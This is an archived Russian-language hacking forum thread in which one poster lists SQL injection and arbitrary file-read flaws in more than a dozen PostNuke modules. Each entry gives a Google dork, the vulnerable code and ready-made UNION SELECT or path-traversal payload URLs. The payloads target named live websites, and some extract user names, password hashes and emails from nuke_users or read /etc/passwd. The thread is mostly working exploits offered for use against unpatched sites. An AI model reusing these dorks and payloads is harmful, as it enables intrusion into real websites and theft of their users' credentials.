PDA

Просмотр полной версии : Уязвимости модулей PostNuke


Jokester
16.12.2008, 00:38
PostNuke. Модуль:Subjects SQL

Уязвимый продукт: Модуль:Subjects Функция: printpage
Версия: <=1.5
Дорк: "inurl:module=subjects"

Уязвимый кусок кода:
$result = $dbconn->Execute("SELECT $column[pageid], $column[parentpageid],
$column[subid], $subcolumn[subname], $column[pagetitle],
$column[pagecontent], $column[pagefile],
$column[pageauthor], $column[pageauthoremail], $column[pageauthorurl],
$column[pagedatetime], $column[pagecounter]
FROM $pntable[subpages], $pntable[subjects]
WHERE $column[pageid]=$pageid AND
$column[subid]=$subcolumn[subid]");

Я бы хотел написать, что из кода видно. что уязвимый параметр pageid, но это конечно не так .
Из этого кода нифига не видно. если вы до этого не сталкивались с этим движком, так что придётся Вам поверить мне на слово :)

Пример уязвимости:
http://rentflat.ru/index.php?module=subjects&func=printpage&pageid=-3+union+select+1,2,3,4,concat(pn_uname,0x3a,pn_pas s,0x3a,pn_email),6,7,8,9,0,11,12,13+from+nuke_user s+limit+1,1/*

Примечание: В данный момент существует версия этого модуля 2.01, в которой эта бага исправлена, но публикую её т.к. модуль достаточно популярен, и мне не встречались сайты с исправленной версией. в основном стоит эта.

Jokester
16.12.2008, 00:39
PostNuke. Модуль:FormExpress Blind-SQL

Уязвимый продукт: Модуль:FormExpress
Версия: 0.3.5
Дорк: "inurl:module=FormExpress"

Уязвимый кусок кода:
$sql = 'SELECT '.$this->FormExpressCache_column['form_data']
.' FROM '.$this->FormExpressCache
.' WHERE '.$this->FormExpressCache_column['form_id'].' = '
. pnVarPrepForStore($form_id);
Уязвимый параметр form_id

Пример уязвимости:
http://www.westlakehomeinspections.com/index.php?module=FormExpress&func=display_form&form_id=1*if(substring(version(),1,1)=5,1,2)

Jokester
16.12.2008, 18:55
PostNuke. Модуль: pnTresMailer SQL

Уязвимый продукт: Модуль: pnTresMailer
Версия: 6.2 Проверял так-же на 6.03 и 6.1 Уязвимость присутствует
Дорк: "inurl:module=pnTresMailer"
Условие: "magic_quotes-off"

Уязвимый кусок кода:
$sql = "SELECT arch_message FROM $prefix"._nl_archive." WHERE arch_mid = '$arch_mid'";
Уязвимый параметр arch_mid

Эксплоит:
index.php?op=modload&name=pnTresMailer&file=index&req=PreviewArchive&arch_mid=-1'+union+select+concat_ws(0x3a,User(),Database(),V ersion())/*

Пример уязвимости:
http://www.owa.sjp-darmstadt.de/index.php?op=modload&name=pnTresMailer&file=index&req=PreviewArchive&arch_mid=-1'+union+select+concat_ws(0x3a,User(),Database(),V ersion())/*

Jokester
16.12.2008, 20:02
PostNuke. Модуль: PagEd SQL

Уязвимый продукт: Модуль: PagEd(он-же paged)
Версия: 0.9
Дорк: "inurl:module=paged"
Условие: "нет"

Код приводить считаю не целесообразным т.к. фильтрация отсутствует совсем, уязвимых параметров куча

Эксплоит: (примеры)
index.php?module=paged&topic_id=4&topictoview=3+union+select+1,concat_ws(0x3a,User() ,Database(),Version()),3,4/*
index.php?module=paged&page_id=888+union+select+concat_ws(0x3a,User(),Dat abase(),Version()),2,3,4/*
index.php?module=paged&file=index&topic_id=1&page_id=444+union+select+concat_ws(0x3a,User(),Dat abase(),Version()),2,3,4/*

Примеры уязвимости:
http://www.owa.sjp-darmstadt.de/index.php?module=paged&topic_id=4&topictoview=3+union+select+1,concat_ws(0x3a,User() ,Database(),Version()),3,4/*

http://www.owa.sjp-darmstadt.de/index.php?module=paged&page_id=888+union+select+concat_ws(0x3a,User(),Dat abase(),Version()),2,3,4/*

http://www.owa.sjp-darmstadt.de/index.php?module=paged&file=index&topic_id=1&page_id=444+union+select+concat_ws(0x3a,User(),Dat abase(),Version()),2,3,4/*

Jokester
16.12.2008, 21:00
PostNuke. Модуль: ProdReviews SQL

Уязвимый продукт: Модуль: ProdReviews
Версия: 0.42
Дорк: "inurl:module=ProdReviews"
Условие: "нет"

Уязвимый кусок кода:
function showcontent()
...
$query = "SELECT * FROM $pntable[prodreviews] WHERE $column[id]=".pnVarPrepForStore($id)."";
Уязвимый параметр id

Эксплоит:
index.php?module=ProdReviews&func=showcontent&id=-4+union+select+1,2,3,concat_ws(0x3a,User(),Databas e(),Version()),5,6,7,8,9,0,11,12,13,14,15/*

Пример уязвимости:
http://www.gesundheit.malzminden.de/index.php?module=ProdReviews&func=showcontent&id=-4+union+select+1,2,3,concat_ws(0x3a,User(),Databas e(),Version()),5,6,7,8,9,0,11,12,13,14,15/*

Jokester
18.12.2008, 00:22
PostNuke. Модуль: concert SQL

Уязвимый продукт: Модуль: concert
Версия: 0.4
Дорк: "inurl:module=concert"
Условие: "нет"

Уязвимый кусок кода:
$sql = "SELECT *
FROM $concerttable
WHERE $concertcolumn[dc_id] = " . pnVarPrepForStore($dc_id);
Уязвимый параметр dc_id


Пример уязвимости:
http://www.palimpsest.com.au/index.php?module=concert&func=display&dc_id=-001+union+select+1,concat_ws(0x3a,User(),Database( ),Version()),3,44,5,6,7,8,9,0,11,12,13,14,15,16,17 ,18,19,20,21

Jokester
18.12.2008, 02:16
PostNuke. Модуль: Credits Чтение произвольных файлов(Это стандартный модуль)

Уязвимый продукт: Модуль: Credits
Версия: 1.1
Дорк: "inurl:module=Credits"
Условие: "нет"

Код к сожалению показать не могу, просто не нашёл его т.к. версия не самая новая, а в версии 1.2 этого бага нет, но описания этой баги нигде не увидел, модуль стандартный версия такая попадается часто, поэтому выкладываю.

Итак переходим по ссылке
http://site.com/index.php?module=Credits
Сдесь показаны все модули и их версии, сразу можно посмотреть версию нашего модуля "Credits", если она нас устраивает нажимаем на просмотр лицензии, или чего там можно посмотреть на любом доступном для этого модуле в разделе "Documentation"

Перехватываем пакет Смотрим:
Credits version 1.1
Credits 1.1
authid=536b87a20a8b57bb257834817225ceba
crdirectory=Credits
crpath=docs/license.txt
heading=License
displayname=Credits
version=1.1
submit.x=9
submit.y=5

Думаю тут всё понятно, нам нужно например etc/passwd тогда меняем:
crdirectory=../../../../../../../../../../../../
crpath=/etc/passwd
И наслаждаемся :)

Пример уязвимости:
http://www.obernet.org/index.php?module=Credits&func=display Можете попробовать сдесь

Jokester
18.12.2008, 21:28
PostNuke. Модуль: OpenRealty SQL

Уязвимый продукт: Модуль: OpenRealty
Версия: 71c
Дорк: "inurl:module=OpenRealty"
Условие: "нет"

1 Код
$sql = "SELECT $realtyhomescolumn[or_agent],
$realtyhomescolumn[or_mls],
$realtyhomescolumn[or_title],
$realtyhomescolumn[or_address],
$realtyhomescolumn[or_city],
$realtyhomescolumn[or_state],
$realtyhomescolumn[or_zip],
$realtyhomescolumn[or_neighborhood],
$realtyhomescolumn[or_virtualtour],
$realtyhomescolumn[or_yearbuilt],
$realtyhomescolumn[or_sqfeet],
$realtyhomescolumn[or_lotsize],
$realtyhomescolumn[or_garagesize],
$realtyhomescolumn[or_type],
$realtyhomescolumn[or_beds],
$realtyhomescolumn[or_baths],
$realtyhomescolumn[or_numfloors],
$realtyhomescolumn[or_price],
$realtyhomescolumn[or_status],
$realtyhomescolumn[or_featured],
$realtyhomescolumn[or_dateposted],
$realtyhomescolumn[or_previewdesc],
$realtyhomescolumn[or_fulldesc],";
for($x=1;$x<=20;$x++) {
$featurenum = "or_pfeat".$x;
$sql .= "$realtyhomescolumn[$featurenum],";
}
for($x=1;$x<=20;$x++) {
$featurenum = "or_cfeat".$x;
$sql .= "$realtyhomescolumn[$featurenum],";
}
$sql .= " $realtyhomescolumn[or_notes]
FROM $realtyhomes
WHERE $realtyhomescolumn[or_hid]=$or_hid";
Вот такие вот жёсткие запросы :)

Уязвимый параметр or_hid
Пример уязвимости:
http://www.alpujar.com/english/index.php?module=OpenRealty&func=display&or_hid=-274+union+select+1,2,concat_ws(0x3a,User(),Databas e(),Version()),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1 ,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6 ,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,64/*

2 Код:
$sql = "SELECT $realtycolumn[or_pictype], $realtycolumn[or_picdata] FROM $realtytable WHERE $realtycolumn[or_picid] = $or_picid";
Уязвимый параметр or_picid
Пример уязвимости:
http://www.bulgarianpropertiesonline.com/modules/OpenRealty/image.php?or_picid=-1074+union+select+1,concat_ws(0x3a,User(),Database (),Version())/*

Jokester
19.12.2008, 00:33
PostNuke. Модуль: phPro(Девичья фамилия: phProfession) SQL

Уязвимый продукт: Модуль: phPro(phProfession)
Версия: 3.0
Дорк: "inurl:module=phPro"
Условие: "нет"

Уязвимый кусок кода:
$sql = "SELECT $joblistingcolumn[vacancy],
$joblistingcolumn[jid],
$jobdepartmentcolumn[department],
$jobdepartmentcolumn[id],
$joblocationcolumn[location],
$joblocationcolumn[id],
$jobsalarycolumn[salary],
$jobsalarycolumn[id],
$joblistingcolumn[responsibilities],
$joblistingcolumn[qualifications],
$joblistingcolumn[cname],
$joblistingcolumn[cmail],
$joblistingcolumn[posted],
$joblistingcolumn[hits],
$joblistingcolumn[fk_pn_uid],
$joblistingcolumn[fk_expper_id],
$joblistingcolumn[expirytime],
$joblistingcolumn[active]
FROM $joblistingtable,
$jobdepartmenttable,
$joblocationtable,
$jobsalarytable
WHERE $jobdepartmentcolumn[id] = $joblistingcolumn[fk_department]
AND $joblocationcolumn[id] = $joblistingcolumn[fk_location]
AND $jobsalarycolumn[id] = $joblistingcolumn[fk_salary]
AND $joblistingcolumn[jid] = " . pnVarPrepForStore($jid);
Уязвимый параметр jid

История с этим модулем такая, там откуда я его сливал в папке "phprofession" лежали два архива: "phPro_v3.0alpha" и "phprofession2.5.4" код выше из "phPro" , а в "phprofession" в коде даже параметра такого нет, ставить я его не стал(версия старая), а вот в гугле глянул. Оказалось что запись "module=phProfession" в урле можно запросто изменить на "module=phPro" и всё будет нормольно. а вот наоборот нет. Тоесть совместимость вроде должна быть у новой версии со старой, а тут наоборот :) (разбираться с этой байдой не стал, т.к к делу отношения не имеет.Кому хочется привожу оба линка).

Примеры уязвимости:
http://www.hillelsaroundchicago.org/index.php?module=phPro&func=display&jid=-57+union+select+1,concat_ws(0x3a,User(),Database() ,Version()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0
http://www.arundellodge.org/index.php?module=phProfession&func=display&jid=-57+union+select+1,concat_ws(0x3a,User(),Database() ,Version()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0

Jokester
20.12.2008, 13:46
PostNuke. Модуль: recipes SQL

Уязвимый продукт: Модуль: recipes
Версия: <=1.2
Дорк: "inurl:module=recipes"
Условие: "нет"

1 Код
$sql = "SELECT $recipescolumn[cid],
$recipescolumn[title],
$recipescolumn[ingredientsfor],
$recipescolumn[ingredients],
$recipescolumn[description],
$recipescolumn[note],
$recipescolumn[origin],
$recipescolumn[wine],
$recipescolumn[image],
$recipescolumn[date],
$recipescolumn[author],
$recipescolumn[email],
$recipescolumn[chkvegetarian],
$recipescolumn[chkmilkandderivatives],
$recipescolumn[chkwheatflour],
$recipescolumn[chkeggs],
$recipescolumn[pagecounter],
$recipescolumn[submitter]

FROM $recipestable
WHERE $recipescolumn[lid] = " . pnVarPrepForStore($lid);


Уязвимый параметр lid
Пример уязвимости:
http://footprints-family-recipes.com/index.php?module=recipes&func=display&lid=-48+union+select+1,concat_ws(0x3a,User(),Database() ,Version()),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,1 8/*

Вобщем-то фильтрация отсутствует напрочь, так что скули везде, можно выкладывать весь модуль :)

Уязвимый параметр pid

Пример уязвимости:
http://footprints-family-recipes.com/index.php?module=recipes&func=catview&pid=-9+union+select+1,concat_ws(0x3a,User(),Database(), Version())/*

И т.д.

Jokester
20.12.2008, 14:10
PostNuke. Модуль: Semantics SQL

Уязвимый продукт: Модуль: Semantics
Версия: .71
Дорк: "inurl:module=Semantics"
Условие: "нет"

Уязвимый кусок кода:
$sql = "SELECT $semanticscolumn[category],
$semanticscolumn[description]
FROM $semanticstable
WHERE $semanticscolumn[cid] = $cid";
Уязвимый параметр cid

Пример уязвимости:
http://www.astrobio.net/news/index.php?module=Semantics&func=display&cid=-1+union+select+concat_ws(0x3a,User(),Database(),Ve rsion()),2

Jokester
20.12.2008, 17:29
PostNuke. Модуль: Standings множественные SQL

Уязвимый продукт: Модуль: Standings
Версия: 1.2
Дорк: "inurl:module=Standings"
Условие: "нет"

Уязвимый кусок кода:

Полное отсутствие фильтрации, если приводить код, то весь :)

Уязвимые параметры sid,scid,tid и т.д

Примеры уязвимостей:
http://www.usffl.info/old/index.php?module=Standings&func=displayteam&cid=3&sid=3&tid=-11+union+select+1,concat_ws(0x3a,User(),Database() ,Version()),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,1 8,19/*

http://www.usffl.info/old/index.php?module=Standings&func=displaygame&cid=3&sid=3&scid=-263+union+select+1,2,3,4,5,6,concat_ws(0x3a,User() ,Database(),Version()),8,9,0/*

http://www.usffl.info/old/index.php?module=Standings&func=displaygame&cid=3&sid=-3+union+select+1,concat_ws(0x3a,User(),Database(), Version()),3,4,5/*
и т.д.

Jokester
20.12.2008, 19:21
PostNuke. Модуль: Topics SQL

Уязвимый продукт: Модуль: Topics
Версия: 1.1c
Дорк: "inurl:module=Topics"
Условие: "нет"

Уязвимый кусок кода:
$sql = "SELECT $topicscolumn[topicnametag],
$topicscolumn[topictext],
$topicscolumn[topicexttext],
$topicscolumn[topicimage],
$topicscolumn[topicparent],
$topicscolumn[topicname]
FROM $topicstable
WHERE $topicscolumn[topicid] = $topicid";
Уязвимый параметр topicid

Примеры уязвимости:
http://www.fintraining.ru/index.php?module=Topics&func=display&topicid=-67+union+select+1,2,concat_ws(0x3a,User(),Database (),Version()),4,5,6/*

http://www.angelusonline.org/index.php?module=Topics&func=view&topicid=-6+union+select+1,2,concat_ws(0x3a,User(),Database( ),Version()),4,5,6/*

Jokester
21.12.2008, 19:04
PostNuke. Модуль: formicula Чтение произвольных файлов

Уязвимый продукт: Модуль: formicula
Версия: 1.0
Дорк: "inurl:module=formicula"
Условие: "magic_quotes-off"

Ещё одна читалка, и опять не нашёл где скачать код, хотя по дорку модуль вроде достаточно популярен

Уязвимый параметр form

Пример уязвимости:
http://www.seacom-dtms.de/index.php?module=formicula&func=main&form=/../../../../../../../etc/passwd%00